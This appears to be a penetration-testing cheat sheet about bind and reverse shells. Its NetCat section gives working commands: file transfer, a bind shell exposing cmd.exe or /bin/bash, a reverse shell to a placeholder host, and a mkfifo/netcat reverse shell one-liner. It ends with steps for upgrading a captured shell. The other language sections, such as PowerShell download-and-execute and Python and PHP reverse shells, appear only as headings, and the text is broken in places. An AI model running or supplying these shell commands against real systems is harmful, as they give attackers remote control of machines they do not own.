Shells
Bind and reverse shells
NetCat
Transfer file
nc -nv <dest ip> <port> < file #send file
nc -nlvp <port> > file_local #receive fileBind shell
Use rlwrap to enable history and command recall support on both cmd and bash shells
nc -nlvp <port> -e <cmd.exe or /bin/bash> #remote
rlwrap nc -nlvp <port> -e <cmd.exe or /bin/bash>Reverse shell
nc -nv <target ip> <port> -e <cmd.exe or /bin/bash> #remote
rlwrap nc -nv <target ip> <port> -e <cmd.exe or /bin/bash>Reverse shell BSD version
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port> >/tmp/f Socat
Transfer file
Bind shell
Reverse shell
CMD
File transfer
Download
Upload
Powershell
Generate Base64 code
Download file
Bind shell
Reverse shell
Base64 encoded payload in python
Run code as another user
Reverse shell as another user - netcat version
Download netcat executable for windows on target, then use it to open a reverse shell under the context of another user
Reverse shell as another user - download and execute version
Generate a reverse shell payload to be executed by powershell as another user
Powercat
Transfer file
Bind shell
Reverse shell
Bash
Download file
ConnectionDownload file script (pure bash)
A script that downloads a file from a remote server without invoking any external script/program, not even linux standard ones.
Save it:
Source code:
Reverse shell
Perl
Download file
Reverse shell
Python
Download file
Reverse shell
PHP
Download file
Reverse shell
Ruby
Download file
Reverse shell
Java
Reverse shell
Reverse shell Java > 7
Fix broken shell
Fix $PATH
Make interactive/Jail escape
A shell is not interactive if sudo -l or ttyreturn nothing or errors. To upgrade a shell use one of the following commands. These commands can also be used to escape from limited shells.
Python
Bash
Script command
Perl
Vi
Ed
Awk
Socat
Upgrade functionalities
After spawning a new shell with one of the methods above, do
CTRL+Zto background Netcat.stty raw -echo&&fgIn new shell:
resetset terminal type to xterm:
export TERM=xtermin local shell:
stty -ato get current terminal size (rows and cols)set correct terminal in remote terminal:
stty rows <rows> cols <cols>export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Last updated